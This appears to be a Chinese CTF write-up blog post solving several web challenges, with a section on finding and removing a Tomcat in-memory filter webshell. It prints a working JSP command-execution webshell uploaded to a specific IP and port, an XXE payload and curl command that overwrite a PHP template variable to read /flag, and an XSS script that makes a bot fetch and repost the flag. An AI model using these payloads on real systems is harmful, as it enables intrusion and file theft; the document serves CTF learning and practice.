Web

157次阅读
没有评论

Web

Kill-tomcat-memshell

检查源码 发现存在数据上传点:
Web
并且进入视图函数进行检查,没有发现相关的过滤,也就是说可以任意上传。

Web

那么我们可以直接构造jsp木马进行上传

<!-- 构建上传脚本 -->
<html>
  <body>
    <form action="http://101.37.152.107:38576/UploadLogo" method="post" enctype="multipart/form-data">
      <input type="file" name="file"/>
      <button type="submit">Upload</button>
    </form>
  </body>
</html>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>一句话木马</title>
</head>
<body>
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>
</body>
</html>

访问101.37.152.107:38576/uploads/muma.jsp?cmd=ls

Web

已经成功getshell,下一步就是查杀内存马,通常来说查杀内存马有以下步骤:
1.列出Servlet

<%@ page import="java.util.*" %>
<%@ page import="jakarta.servlet.*" %>
<%
ServletContext ctx = request.getServletContext();
Map<String, ? extends ServletRegistration> map = ctx.getServletRegistrations();
for (String name : map.keySet()) {
    out.println("Servlet: " + name + " => " + map.get(name).getClassName() + "<br/>");
}
%>

Web

2.列出Filter

<%
Map<String, ? extends FilterRegistration> fmap = ctx.getFilterRegistrations();
for (String name : fmap.keySet()) {
    out.println("Filter: " + name + " => " + fmap.get(name).getClassName() + "<br/>");
}
%>

Web

3.列出Listener

<%
out.println("Listeners: <br/>");
for (Object listener : ctx.getListeners()) {
    out.println(listener.getClass().getName() + "<br/>");
}
%>

很显然 在上述fiter中 我们发现了一个名为:Filter: AutomneGreet => org.apache.jsp.uploads.memfilter_002dtomcat_jsp$1
的可疑项目:
1.命名奇怪(AutomneGreet)
2.而且指向一个 JSP 动态生成的类 memfilter_xxx,
3.所以基本可以确认这是一个 内存马 Filter ―― 通过上传 JSP 动态注入 Filter 挂在 Tomcat 里。

接下来,我们需要清除掉这个filter AutomneGreet

<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%
try {
    ServletContext sc = request.getServletContext();

    // get ApplicationContext
    Field appContextField = sc.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    Object appContext = appContextField.get(sc);

    // get StandardContext
    Field stdContextField = appContext.getClass().getDeclaredField("context");
    stdContextField.setAccessible(true);
    StandardContext stdContext = (StandardContext) stdContextField.get(appContext);

    // get filterConfigs
    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map<?,?> filterConfigs = (Map<?,?>) filterConfigsField.get(stdContext);

    // remove Filter
    Object removed = filterConfigs.remove("AutomneGreet");
    if (removed != null) {
        out.println("cleaned Filter: AutomneGreet");
    } else {
        out.println("AutomneGreet Filter notfound");
    }

} catch (Exception e) {
    e.printStackTrace(new java.io.PrintWriter(out));
}
%>

Web

Web

ezphp

主要为XXE注入以及高危函数利用

观察register.php获得注册逻辑

<?php
    include "utils/function.php";
    $config = include "utils/config.php";   //定义xml
    $user_xml_format = "<?xml version='1.0'?> 
                        <userinfo>
                            <user>
                                <username>%s</username>
                                <password>%s</password>
                            </user>
                        </userinfo>";
    extract($_REQUEST);     //注意本行 存在变量覆盖漏洞
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");

    if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :("); //限制用户名

    if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
    $user_xml = sprintf($user_xml_format, $username, $password); //没有限制密码

    register_user($username, $config['user_info_dir'], $user_xml);

引入function.php config.php
创建用户名对应的目录以及xml文件,xml模板在user_xml_format 中定义
对用户名进行了过滤,只允许字母和数字的出现,过滤符号
注意到:

    extract($_REQUEST);     //注意本行 存在变量覆盖漏洞

这个函数原本的作用,是把一个 关联数组($array)里的所有 键名/值,转化为同名的变量。

例如:

$arr = [
    "username" => "alice",
];
extract($arr);
echo $username;  // alice

但是在这里的 $_REQUEST 实际上我们可以传入任意的参数,因此可以覆盖掉user_xml_format,这为后面我们构造payload提供了思路。

这是login.php 当登陆失败的时候 会显示Password error for User: 并且回显用户名

<?php
    include "utils/function.php";
    $config = include  "utils/config.php";
    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
    if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
    $user_record = get_user_record($username, $config['user_info_dir']);
    if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
    header("Location:main.html"); //用户名回显

观察function.php 发现了异常:

<?php
	//非关键部分省略
    function get_user_record($username, $user_info_dir)
    {
        $user_info_xml = file_get_contents($user_info_dir.'/'.$username.'/'.$username.'.xml');
        $dom = new DOMDocument();
        $dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
        return simplexml_import_dom($dom);
    }
        $dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);

这一行存在巨大的漏洞:
LIBXML_NOENT:允许 实体替换 (Entity Substitution) 。会把 用户传入的恶意xml对象替换成实际内容。
LIBXML_DTDLOAD:允许加载 外部 DTD(文档类型定义) 。
正常的PHP中这里都是默认不开启的,但是在这里是一个明显的提示作用,结合上面我们找到的变量替换,直接构造payload:

<?xml version='1.0'?>
<!DOCTYPE userinfo [<!ENTITY xxe SYSTEM 'file:///flag'>]>
<userinfo>
	<user>
		<username>&xxe;</username>
		<password>123</password>
	</user>
</userinfo>
curl -X POST http://your-ctf/register.php -d "username=6" -d "password=123" --data-urlencode "user_xml_format=<?xml version='1.0'?> <!DOCTYPE userinfo [<!ENTITY xxe SYSTEM 'file:///flag'>]> <userinfo> <user> <username>&xxe;</username> <password>123</password> </user> </userinfo>"

随后去随便输一个密码登录即可
Web

Realworld-ezNote

主要为源码审计以及上传漏洞挖掘
(存在一个非常诡异的直接执行点)

Web

Web

神秘代码执行点

cat /f* 得到flag

Web

ezgroovy

Web

使用jdgui提取源码

Web

发现了rce,直接可以cat到flag

Web

ezxss

const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const puppeteer = require('puppeteer');
const path = require('path');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
let notes = {}; 

app.post('/submitNote', (req, res) => {  //post上传笔记内容 存储到内存对象note
    const { noteName, note } = req.body;
    if (!noteName || !note) {
        return res.status(400).send('Missing noteName or note');
    }
    notes[noteName] = note;
    res.send(`Note saved. Visit /notes/${encodeURIComponent(noteName)}`);
});

app.get('/notes/:noteName', (req, res) => {
    const noteName = req.params.noteName;
    const note = notes[noteName];
    if (!note) {
        return res.status(404).send('Note not found');
    }
    res.setHeader('Content-Type', 'text/html');
    res.send(note);    //直接渲染 存在XSS注入风险
});

app.get('/flag', (req, res) => {
    const ip = req.ip.replace('::ffff:', '');
    if (ip !== '127.0.0.1' && ip !== '::1') {		//结合下面的bot一起看
        return res.status(403).send('Forbidden');	//这个就是暗示了得让bot去拿flag
    }
    try {
        const flag = fs.readFileSync('/flag', 'utf8');
        res.send(flag);
    } catch (err) {
        res.status(500).send('Flag file not found');
    }
});

app.get('/bot', async (req, res) => {			//机器人浏览环境执行 
    const noteName = req.query.noteName;
    if (!noteName || !notes[noteName]) {
        return res.status(400).send('Note not found');
    }
    try {
        const browser = await puppeteer.launch({
            headless: true,
            executablePath: '/usr/bin/chromium', 
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const page = await browser.newPage();
        await page.goto('http://127.0.0.1:3000/notes/' + encodeURIComponent(noteName), {
            waitUntil: 'networkidle2',
            timeout: 5000
        });
        
        await new Promise(r => setTimeout(r, 2000));
        await browser.close();
        res.send('Bot has visited your note.');
    } catch (err) {
        console.error(err);
        res.status(500).send('Bot error');
    }
});
app.use(express.static('public'));
const PORT = 3000;
app.listen(PORT, () => {
    console.log('Server listening on port ' + PORT);
});

<script>
fetch("http://127.0.0.1:3000/flag")
  .then(r => r.text())
  .then(flag => {
    fetch("/submitNote", {
      method: "POST",
      headers: {"Content-Type":"application/json"},
      body: JSON.stringify({ noteName: "stolenflag", note: flag })
    });
  });
</script>

这个payload 会让bot去提交内容 并且把flag的内容上传进来
Web

正文完
 0
评论(没有评论)